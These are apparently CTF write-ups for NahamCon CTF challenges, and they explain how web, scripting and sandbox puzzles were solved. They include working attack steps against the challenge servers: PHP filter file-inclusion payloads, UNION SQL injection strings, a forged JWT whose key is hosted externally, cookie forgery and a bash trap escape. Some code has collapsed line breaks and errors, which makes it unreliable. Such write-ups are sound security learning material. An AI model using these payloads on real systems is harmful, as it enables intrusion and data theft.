## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:
It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:
actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:
so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:
```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:
burp suite catches the request and allows us to edit it:
we now only need to add an emergency variable and we get the flag:
with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:
**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
